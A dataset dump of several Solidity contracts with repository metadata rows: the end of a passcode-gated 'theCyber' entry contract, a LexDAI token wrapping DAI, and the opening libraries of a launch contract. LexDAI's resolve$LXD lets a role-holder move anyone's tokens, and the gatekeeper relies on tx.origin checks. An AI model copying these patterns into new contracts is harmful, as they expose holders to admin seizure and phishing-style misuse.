knownHashes_[0x91110c6797d18867583e4bb971e8753c75a35e0bac534070c49102db7acfffe1] = true;
knownHashes_[0x7487dc4230fdb71b3ca871b146d85331393b6830c3db03e961301e98b2f0ed83] = true;
knownHashes_[0xe947fa9a35038f665c8eba2ed92e1a6c90dc08d463e378718be7e0939ccd2634] = true;
knownHashes_[0xdcb1d082b5e889cb192fe66a0e4fef8664bbd63b4f5469bb6f41b28cbaaa2f08] = true;
knownHashes_[0xe79a4da1c0dfd3183d0b4409faf9e5a267ada85a188cf26b37b4ffe1846d6f9f] = true;
knownHashes_[0xbd63b716bd0133ab86e7781876c07ac130ba64c60628f81735b2ca760a6450c0] = true;
knownHashes_[0x270a38dac311171970655d2584780fd2625f255053933f4863f2f1022e5ae99b] = true;
knownHashes_[0x9472b387fa469e3dbe8b3e7a8aaa7054d98b7424d60e5f36c964a16c8fcdbebc] = true;
knownHashes_[0x5d36315425c7e9699328e3f4c0962d40709c0cb78a7b72a015aa31caba784450] = true;
knownHashes_[0x745367e8d87e841c203ccacbffc361affe39a16e69b348f99cf5fc04c00d6b7e] = true;
knownHashes_[0x026d05c886b8530bef15e25ce3f915306624915a2edd7309d7c063c8baadd80b] = true;
knownHashes_[0x0bbaf4ad40972b1d9aec644660790c7707976757305e4e2a0085af9adf444b31] = true;
knownHashes_[0x13b72741563ee1d9e3e0df5cedca9d185b29dc0adc3d08a1c26fff4cb61b70c7] = true;
knownHashes_[0x891bd970b36e5b892a8e43a153b5b1e199223d899808426b894569fb1ad3224c] = true;
knownHashes_[0xe5dd6ba9a4647c35099ed76802c6f2aab16111f5994fd7c86598ef717693d33e] = true;
knownHashes_[0x556c98600314be469b3d68e6909b68f32fbd7d2b8804bde2362b4f79148fcfde] = true;
knownHashes_[0x0ea220fdd96c8a55b3b1feee9a67075dc162c3c6354347d4191cc614e463aa96] = true;
knownHashes_[0x5388e66877be80f1599716f76d563dc4fd7f7dd6f18fd5aa173722c30df66283] = true;
knownHashes_[0x9cdd8250621aeb3c88e919a8784f3d12828e10bd00403dc4c9e6881c55231a71] = true;
knownHashes_[0xf502cb4dcbffc203db27df091b916ee616cdad39f662027ef3c9054d91c86c32] = true;
knownHashes_[0x40c6b9be0005aac01c0d89d7e666168a83e17d5164b3fdb5bdf7cbb3e4770144] = true;
knownHashes_[0xbff7468379d3a8a18637f24ceeada25214b74e91761d4950732aa037efaf46a6] = true;
knownHashes_[0x52fc4c96b1eff265a5e78eb6d9b54e72e99bf31e89c99c4366e46cb757775cbf] = true;
knownHashes_[0xebd7bd878a40ef58bee78d9ed873553b6af1ad4536fefd34e23dfca3d50206d8] = true;
knownHashes_[0xf4a53103da3a424f705be1197d5d7edd58f395d81f5e3f6b912d4b1657cb656e] = true;
knownHashes_[0x08e442e4dbae4c612654576a3b687d09b00a95ca4181ca937c82d395f833ae1a] = true;
knownHashes_[0xd37e725b67a1003febdbae5e8a400af1d8e314e446dfcde2f921ac5769cd4fed] = true;
knownHashes_[0xc199f1e49e8167a1684cd9ac5def4c71666bf5d6942ff63661486e139dee13df] = true;
knownHashes_[0xc2af103fccfbf2a714f4e9a61d7e126996174a57050efcabe9e7e9d17f7ac36c] = true;
knownHashes_[0x192240627f8356ea1caa66f75a4f2d4a4c9f328e76ce7c6d4afbd0645cf6998e] = true;
knownHashes_[0x649a262b9674ef27f69a67a495feb49ec699657e250fe0e7a70a7e2091b86ff0] = true;
knownHashes_[0x754178f9c0b70450f40416ca301354b39c5551f369b0057e84e877c0b59229b4] = true;
knownHashes_[0xa3183cb641d72735e222815990343ee2f64a8ea1f3f3614c674987cdae454468] = true;
knownHashes_[0x2581e9080a7c9695cb4a956144ff6478a5ff9005575c17fd8837299e1c3598c6] = true;
knownHashes_[0xe7bdcc139d0f937bd1ef258a4b17b76daf58729eaed4ef5d8181842be119086e] = true;
knownHashes_[0x5fa0b5b4ee49a272223effa7789dac1d0c97f5476a405968b06bdcf7e6f70c8c] = true;
knownHashes_[0x6cf76f5d49f99cf3b6384d40d6447dba5db5e46af199e8c2876c580aa6c9ab43] = true;
knownHashes_[0x5e5423c6d508ab391aabd4d842edc839bc54742df2bd62ec4a36370b9744bbeb] = true;
knownHashes_[0xbb53ab62aa4fad4bcf86f6757e8fef8b022eab4bc17965c4a84842d54083b479] = true;
knownHashes_[0xda6a6e12dfc7105a144bb0091ae1d419bd79a926fb3783ec13cb9658bd8b5bc2] = true;
knownHashes_[0x0028cc8aa613b3f53cde95a59e5f3d78b1a5d370909836889920e818578b95ee] = true;
knownHashes_[0x5ff151251e10f03bea31e7f83160bb1adad9df1f11c0ebc161c5c9330a87db8e] = true;
knownHashes_[0x1056ee80df6c3c776f662138689c96107fd4fb0c71d784a85c4639c0f30a6acd] = true;
knownHashes_[0xc9b5d332e96f7b6a5bb2d44ca3d847a5fca5ef4b2cde5f87c76e839d70ac95e0] = true;
knownHashes_[0xed3515ab11fab92d1114b7e1f0736ecff17794ad1a5f76003838971c17373b39] = true;
knownHashes_[0xaeedbd57c74386217a11806cb3ac9acf6661bc40b36d0fd644a975c5f6b54426] = true;
knownHashes_[0xb15bc9952eae5559a85c14abefd0bf23c0066e5c63807fd83f6ca8e07cf8ac0f] = true;
knownHashes_[0xc77584eb3625f35588eebc89277d71dcb53454aebb9176c9232b77071e7b5bd7] = true;
knownHashes_[0xe17aab35ee48eef0707ece1c94464115ff39214963dfe64571fd0529443f464c] = true;
knownHashes_[0xcd6619186614342e042f16bdd8508d4fb7a86a4734285f908889f3ac14d94cc4] = true;
knownHashes_[0x1e6a469a9820448aa5fbcf146eb65fa54256f0d0d38d9a5db9598170ed4e5159] = true;
knownHashes_[0x56e8db690925fd8fec603795b72187c727ed019772bb11e92015bd4227ea0de6] = true;
knownHashes_[0x30df18b198d8006fcee31c5ab03c21599003902c38a0d46f89c83e0a50cdc722] = true;
knownHashes_[0xc7ec2f5603c2664505cc16b9eca68a3a34cf0ef7caff5d9099c01f1facffcee6] = true;
knownHashes_[0x37862b072052fc1b88afd2c8869b9a78a5bda139beba1c986717ec1fd526d61d] = true;
knownHashes_[0xd402c6c43bd8ccdcf43b800168f1065d0d2e95d6cd8f48dd94a3a70078fd7f96] = true;
knownHashes_[0xa41d986a203c53f553f63aa5f893146f25fb23754a37cc32d95f1312b0d1f58b] = true;
knownHashes_[0x14b4feedfece7eb6df8faed2c7173b87f715a14c9d27ca88979bf3dd5d64605a] = true;
knownHashes_[0x8d643ca159260bc55434f0f40552e88520c4d0217497eb540803b59f37f4120b] = true;
knownHashes_[0xdd1a85c09957e8ad22907f83736ab3fd54742b1dce5ca22a0132970fdd4df6e0] = true;
knownHashes_[0xec78a0437bca2a714d146b10ad6a5ae370794ff0c7f4ff077eea7b302e9ce1db] = true;
knownHashes_[0xa20dd3512ca71ac2d44d9e45b2aec2b010a430c38a6c22bfb6f2f0ba401658f5] = true;
knownHashes_[0x1f54cdbcec5639248461fe067a56a3bf3c03a16b0fa92f8128b585930157a4a3] = true;
knownHashes_[0x258297a15ed3175983a05f7bb59dcc89fab5bb74ebfa7aa84cef74e7a35cefd3] = true;
knownHashes_[0x432b0c57cab4566f47ae7f942ec3db7496c44fb211165299e49244e5feeb63fb] = true;
knownHashes_[0xd4e325fae344777ddbfa91c405f431bec4419417245ab92bb04612d18c939309] = true;
knownHashes_[0x08014c3be305fc7daafd910e3e286a1161ac5ccddbb1f553ae1fe67924bfb2f1] = true;
knownHashes_[0xcc025016f45b21cca83d50d6b4e94b548869bb8de5c5a710091c9d64bd37332b] = true;
knownHashes_[0x1cdb6bbc3a17c535d44cbe575669436ee7028e475e5fe47f7f98489439783f33] = true;
knownHashes_[0x2976844209c565893bf4ffadb7a27f3fd96f2458bd40e5b49ebffae5ae0caedc] = true;
knownHashes_[0x2cc94faaab298fbdf4af4d2fb86f6450bb708f18d3c3ebaa9c23e240c6f22325] = true;
knownHashes_[0x5ea72f0a677eb4bc6dcb8343786fdee6f278ebd1b4d740f8cdc212bc451b6eef] = true;
knownHashes_[0x1f40acf6a57ce9982c2b1135499b6c893b37a1df1bdf84275cf137cabd53ce50] = true;
knownHashes_[0x3c36abe94eb067440cd9fe1006f6773e2b27548d0a306bcb168a75392b3b6297] = true;
knownHashes_[0x049b381e7b45aba6dfd343331c4b56407b2a157dc878736ada0e9debecb68852] = true;
knownHashes_[0x3981aab8ca4b4d2565b5079437d6ed0e10bc60c3016c5fd67241970f36d28f5e] = true;
knownHashes_[0xe3674f344f52839b210a40d41a363ef8b1a2c049afe9b109c56af4d991fb86f4] = true;
knownHashes_[0xf14978e47cc74f2a6dc7bd883f7dc4a3586ea2cd89f17359bfca73bc2a1f3977] = true;
knownHashes_[0xe4b502345d6eb2938a811063515590368ec108bb434b0b39e9a42d776ad5fd64] = true;
knownHashes_[0x7350feff51762a0bfc5e878deec872b5eb79427f3bbb2688b97d59b3b8257196] = true;
knownHashes_[0x68d678bbcbb4519bc266cf4bb8f54a65c8dcab63d6fbeca7a1c1b58ce55f7d1a] = true;
knownHashes_[0x8a2eb9517a8ca7e31a58a80880977f3b29b5649e09de0d10e2d40ce3d4a87bbd] = true;
knownHashes_[0x49fd5256632a2565ec250854981f5ea3c1668e0cdf4979231111a464643d571d] = true;
knownHashes_[0xa5e851c89ca2925f18e9eefa4855faa4c69d2c12b875bd1bbc233d0c81baf4a3] = true;
knownHashes_[0x5d42e9a67094bb8cb3c2f078d1e02e722e9b44e6931dea3fc361b0c6b71a6424] = true;
knownHashes_[0xd17c550587cc064af20dfb16f8b9e7ce07163cc4902cf67c94e09e94781ab45b] = true;
knownHashes_[0x2ac1bbd505a0382f5b79f65aa5e768b6f956120e1e9adab1700e882aa2b435e9] = true;
knownHashes_[0xd820d64bdcd12ec6c4ccb6eb857afd4f3e3fba039c60482d8eb17ac518e60ae4] = true;
knownHashes_[0xb77c2f467217103baa4742a68f663b09bf01785653871eb9997f082378694e50] = true;
knownHashes_[0x1e441e30ec1bd4475f9fd50008e80c36956219a76b98516115391b6a60a6e2e9] = true;
knownHashes_[0x7d4d2f49945d4b0a6bdbcdd40feee2b6b76f4b5d34ddfd6a3e9d7fc93794a89b] = true;
knownHashes_[0xd6e6ebee9bb19de629e56750211c2ac5bc018ccf00cc0d023cdcdc3f7de0258d] = true;
knownHashes_[0x51198dd5ad4ca7ccb0112193f76e8d8325e66c0872da68e1e0a063363e0d28f7] = true;
knownHashes_[0xa3f29b1ff1f4e8136b9b2f669494490704d13606b73aac04def08d95488d79c1] = true;
knownHashes_[0xea3f1165ce868ab19978dcd32d7fe78fdc8dd26162057b54dc1c8f688332f0fb] = true;
knownHashes_[0x7a2c8e589c3570c9dd8d3a4031a65b2b164c5b0f3cba0d610228351134b87d24] = true;
knownHashes_[0x3e8d8eae37904d8a467efa882b1559a15bcbab3c02ceceaa34c1366855b31a4d] = true;
knownHashes_[0x9266948ade2d86ef12bc0d38d4a98ebd1ff3d2046b2cd3150f47e6b41eb6c9d0] = true;
knownHashes_[0x0ac0867e5d3c943115e715a3b7d129e63fd65c29fc3b2a0c75e245e8cc8e3cbc] = true;
knownHashes_[0xc79ed203ef26b7e228dc957ee3581e87f76a03773756729f9a6e17953d78258d] = true;
knownHashes_[0xd144249c42697104457147d9774e937cd9ff668da8133b4e9c7b14ba0d9c3745] = true;
knownHashes_[0x984aabaf91e006bb4176e31dfe2e969f4c012936cd30cc1b0fdcca5173a4f96c] = true;
knownHashes_[0x251a654a0a08c10ff2f1ee8d287f867c1dab7e1e2b7e1e76efd07e8c57e415de] = true;
knownHashes_[0x887b4b89c813bbcea7ec00143867511bdbc5ef37042d9fb0a2fff2e7ac367a0e] = true;
knownHashes_[0x76544c577c6549c6f3918fa0682388917cd893afbb957123cbfb898fe1518556] = true;
knownHashes_[0xa19ac2a03c0c89cae8ee0c2db1d52b21386b710a83f810689ecb47c864fb2a55] = true;
knownHashes_[0x11b2accc5b3d1d6af103f4048b62aed897f9a5e2d74669f8b389c706633b952c] = true;
knownHashes_[0x1d8110d1e28a617a3d438aa479212ac8cb629c850286a7bd2d37ce1b3c73a6c0] = true;
knownHashes_[0x8fa2a550db50cba22e90916d6decd9b4077b99eb4502e9ebee196f8c4b6fd41d] = true;
knownHashes_[0x1c95cfe3e934357573c4fc494b14a934b664178d2658af1d95a249b4747e623f] = true;
knownHashes_[0x4a7fdd5ecb85fefbd134037c54563b106883cf88d13d991e1315920b0e5c8a6d] = true;
knownHashes_[0x168471be8819a5430ed54c076cdce0da303e00b88db692f9fe1e663f46afc2ab] = true;
knownHashes_[0x4b8c86ceecef46755965c3b795bb3247cf90f524f201d532fbecd2be655dc908] = true;
knownHashes_[0x61378c6396fa218e2d3df700d2dc02fba667df7a5072c805cbb2fad2fe9d00d3] = true;
knownHashes_[0xad1b8c3ed94e252cb3671a2d3d404ef8844d3130e3a3ff87e0914a797bbbaa73] = true;
knownHashes_[0x6c8af6c4484fca40444f51f9798915f19fd0a0dcedff06ade434d7ccc6cbf404] = true;
knownHashes_[0x10d43739be9d4a2db0c9355129b3e1af634b049a2c6eae9cf915ee3ef27cccb5] = true;
knownHashes_[0xebf68de80643eee9b471aa39a7f366a076fb305f0a1adeb726206ed0cd5a2bc9] = true;
knownHashes_[0x506ded3d65c3a41b9ad502a8c0e685786058861e0c292c9fe075822d987d357e] = true;
knownHashes_[0x051e531490eb2ad5a160fbc5b7b371ea6e20102635e3c612116f1eb117c6dd2d] = true;
knownHashes_[0xf6009b990598b0ef14854eb38c49bc22c3a21606f84df02ac85b1e118bb90e77] = true;
knownHashes_[0xf44e63fc8a12ca3d0d393ed67b84a6e8d857f4084e2959316c31a5c6bd6ae174] = true;
knownHashes_[0x6d0cef3b24af04cd7666950e8950ec8da04900ed7cc01b8dc42737ddd810facb] = true;
knownHashes_[0x9c766cb211e0036d3b11f70de1c960354d85c6e713b735c094e0040b4f61ca3b] = true;
knownHashes_[0x50f41f1f7773962333b3260e70182962b13552a3e525085063ffa5bd26a960ac] = true;
knownHashes_[0xe3b258e4c6c90d97f647586e1e53ea268cc851f13e69e835977b6b8399fc2cbd] = true;
knownHashes_[0xe341f1ffe620d9de97b15169d1fa16d885fef299d52f6a0a7989dc0eafa76743] = true;
knownHashes_[0xe7dfb8186f30e5d7844c72314448cfd059b070a41322d5ddd76cbf3e588b9dcd] = true;
knownHashes_[0x07aa797be1bd3b701056405361160c2f62de1e5a452d9f0fb8a5c98ddf4bb255] = true;
knownHashes_[0x92f8937ed2c57779a3697d9223ab17f598396f9802028bd3a34ec852413c60f4] = true;
knownHashes_[0xbdf0a9d32af5ea64ef0d553b8b3fc0a4fd3101bc71b3cd57a165608efa7cf7f6] = true;
knownHashes_[0x25ac304efba4df87b0d420c8eb8311b9d3314776176536e1d2245c38da938c13] = true;
knownHashes_[0x417e5ab8e8e090d6cf05a551f629eac9c7fbc73b30a3ed8a2a2d4f4bba37e165] = true;
knownHashes_[0x104a2b6fbaeb34315c8da0c6ced20f05f4702ffd81a31516813b9f771f3454b9] = true;
knownHashes_[0x9e62e0694ed13bc54810ccaaa2dbb67ad1eb75d94dc53cd66ebc45a9cce9635d] = true;
knownHashes_[0xd7b83539794844e00f1cba1d3b05297e9b262d1bb2fc91ba458d3c75d44ea6ca] = true;
}
function enter(bytes32 _passcode, bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) checkOne checkTwo checkThree(_passcode) checkFour(_passcode) returns (bool) {
interactions_[tx.origin] = true;
interactions_[msg.sender] = true;
acceptedPasscodes_[_passcode] = true;
entrants_.push(tx.origin);
return true;
}
function assignAll() public returns (bool) {
require(active_);
require(entrants_.length == MAXENTRANTS_);
bool member;
address memberAddress;
(member,) = theCyberInterface(THECYBERADDRESS_).getMembershipStatus(this);
require(member);
uint8 i = nextAssigneeIndex_;
while (i < MAXENTRANTS_ && msg.gas > 175000) {
(,,,,memberAddress) = theCyberInterface(THECYBERADDRESS_).getMemberInformation(i + 1);
if (memberAddress == address(0)) {
theCyberInterface(THECYBERADDRESS_).newMember(i + 1, bytes32(""), entrants_[i]);
}
i++;
}
nextAssigneeIndex_ = i;
if (nextAssigneeIndex_ == MAXENTRANTS_) {
active_ = false;
}
return true;
}
function totalEntrants() public view returns(uint8) {
return uint8(entrants_.length);
}
function maxEntrants() public pure returns(uint8) {
return MAXENTRANTS_;
}
}
| 276,475 | 177 |
a346cb54f1f5b8f2d139a08506dddb8a92b01832e3efd0f85f85f452b469e340
| 22,104 |
.sol
|
Solidity
| false |
316275714
|
giacomofi/Neural_Smart_Ponzi_Recognition
|
a26fb280753005b9b9fc262786d5ce502b3f8cd3
|
Not_Smart_Ponzi_Source_Code/0x79c8b3355b311b7429dfb8ed3e9d9660380be2ea.sol
| 2,684 | 10,066 |
pragma solidity 0.5.14;
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this;
return msg.data;
}
}
library Roles {
struct Role {
mapping (address => bool) bearer;
}
function add(Role storage role, address account) internal {
require(!has(role, account), "Roles: account already has role");
role.bearer[account] = true;
}
function remove(Role storage role, address account) internal {
require(has(role, account), "Roles: account does not have role");
role.bearer[account] = false;
}
function has(Role storage role, address account) internal view returns (bool) {
require(account != address(0), "Roles: account is the zero address");
return role.bearer[account];
}
}
contract LexDAORole is Context {
using Roles for Roles.Role;
event LexDAOAdded(address indexed account);
event LexDAORemoved(address indexed account);
Roles.Role private _lexDAOs;
constructor () internal {
_addLexDAO(_msgSender());
}
modifier onlyLexDAO() {
require(isLexDAO(_msgSender()), "LexDAORole: caller does not have the LexDAO role");
_;
}
function isLexDAO(address account) public view returns (bool) {
return _lexDAOs.has(account);
}
function addLexDAO(address account) public onlyLexDAO {
_addLexDAO(account);
}
function renounceLexDAO() public {
_removeLexDAO(_msgSender());
}
function _addLexDAO(address account) internal {
_lexDAOs.add(account);
emit LexDAOAdded(account);
}
function _removeLexDAO(address account) internal {
_lexDAOs.remove(account);
emit LexDAORemoved(account);
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "ERC20: burn amount exceeds allowance"));
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
}
contract LexDAI is LexDAORole, ERC20, ERC20Detailed {
// $DAI details:
address private $DAIaddress = 0x6B175474E89094C44Da98b954EedeAC495271d0F;
ERC20 public $DAI = ERC20($DAIaddress);
// $LXD details:
string public emoji = "";
string public lexDAOchat = "lexdao.chat || lexdao.club"; // lexDAO portals for governance requests
uint8 public version = 2;
// lexDAO receives ether () payments related to governance requests
address payable public lexDAO = 0x97103fda00a2b47EaC669568063C00e65866a633; // initial Aragon Agent
event LexDAOPaid(uint256 indexed payment, string indexed details);
event LexDAOTransferred(address indexed newLexDAO);
constructor () public ERC20Detailed("lexDAI", "LXD", 18) {}
function mint$LXD(uint256 amount) public {
$DAI.transferFrom(msg.sender, address(this), amount); // deposit $DAI
_mint(msg.sender, amount); // mint $LXD in return
}
function redeem$LXD(uint256 amount) public {
$DAI.transfer(msg.sender, amount); // return $DAI
_burn(msg.sender, amount); // burn $LXD from caller
}
// lexDAO functions
function payLexDAO(string memory details) public payable {
lexDAO.transfer(msg.value);
emit LexDAOPaid(msg.value, details);
}
function resolve$LXD(address from, address to, uint256 amount) public onlyLexDAO {
_transfer(from, to, amount); // lexDAO Agent resolves $LXD balances
}
function transferLexDAO(address payable newLexDAO) public {
require(msg.sender == lexDAO);
lexDAO = newLexDAO; // new lexDAI beneficiary account
emit LexDAOTransferred(newLexDAO);
}
}
| 339,560 | 178 |
4062646555c24f83f779c8afa9e6a2578e9b1d215fc7072d7224eb6bff591ccc
| 41,355 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/18/1882a53bc7790118c26f96c6bf05b2590f600282_launchContract.sol
| 5,629 | 21,919 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
function burnFrom(address account, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
